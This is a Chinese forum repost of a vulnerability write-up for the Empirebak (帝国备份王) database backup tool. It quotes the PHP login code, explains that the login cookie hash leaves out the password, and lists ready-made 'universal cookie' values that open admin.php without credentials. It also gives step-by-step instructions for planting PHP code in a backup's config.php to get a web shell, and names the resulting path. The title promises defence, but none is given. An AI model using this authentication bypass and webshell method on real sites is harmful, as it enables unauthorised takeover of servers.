• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    帝国备份王(Empirebak)万能cookie及拿shell方法与防御

    发布者: Error | 发布时间: 2025-6-27 15:10| 查看数: 47| 评论数: 0|帖子模式

    转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
    1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

    登录成功设置4个cookie,看代码

    PHP Code复制内容到剪贴板
         
    • function login($lusername,$lpassword,$key,$lifetime=0){        
    • global $set_username,$set_password,$set_loginauth,$set_loginkey;        
    • if(emptyempty($lusername)||emptyempty($lpassword)) {         
    • printerror("EmptyLoginUser","index.php");         
    • }        
    • //验证码        
    • if(!$set_loginkey)        
    • {        
    • if($key<>getcvar('checkkey')||emptyempty($key))        
    • {        
    • printerror("FailLoginKey","index.php");        
    • }        
    • }        
    • if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)        
    • {        
    • printerror("ErrorUser","index.php");        
    • }        
    • //认证码        
    • if($set_loginauth&$set_loginauth!=$_POST['loginauth'])        
    • {        
    • printerror("ErrorLoginAuth","index.php");        
    • }        
    • $logintime=time();        
    • $rnd=make_password(12);//生成随机字符        
    • $s1=esetcookie("bakusername",$lusername,0);        
    • $s2=esetcookie("bakrnd",$rnd,0);//随机字符        
    • $s3=esetcookie("baklogintime",$logintime,0);        
    • Ebak_SCookieRnd($lusername,$rnd);//        
    • if(!$s1||!$s2)        
    • {        
    • printerror("NotOpenCookie","index.php");        
    • }        
    • printerror("LoginSuccess","admin.php");        
    • }  






    再看看make_password函数


    PHP Code复制内容到剪贴板
         
    • function make_password($pw_length){        
    • $low_ascii_bound=50;        
    • $upper_ascii_bound=122;        
    • $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);        
    • while($i<$pw_length)        
    • {        
    • mt_srand((double)microtime()*1000000);        
    • $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);        
    • if(!in_array($randnum,$notuse))        
    • {        
    • $password1=$password1.chr($randnum);        
    • $i++;        
    • }        
    • }        
    • return $password1;        
    • }  
    这个函数只是生成随机数,再看看Ebak_SCookieRnd函数


    PHP Code复制内容到剪贴板
         
    • function Ebak_SCookieRnd($username,$rnd){        
    • global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码        
    • $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了        
    • esetcookie("loginebakckpass",$ckpass,0);        
    • }  
    下面给出万能cookie(key:value):


    XML/HTML Code复制内容到剪贴板
         
    • ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6        
    • ebak_bakrnd:35y5cCnnA4Kh        
    • ebak_bakusername:admin        
    • ebak_baklogintime:4070883661  
    使用以上cookie即可直接访问admin.php

    2.拿shell

    后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

    备份数据,随便找个数据库备份,

    然后到替换目录文件内容里,选择刚才备份的数据库,

    将”$b_table=”

    替换成

    “phpinfo();

    $b_table=”


    这里shell的路径就是bdata/mysql_20141007221849/config.php



    来源:https://www.jb51.net/hack/378968.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    ×

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表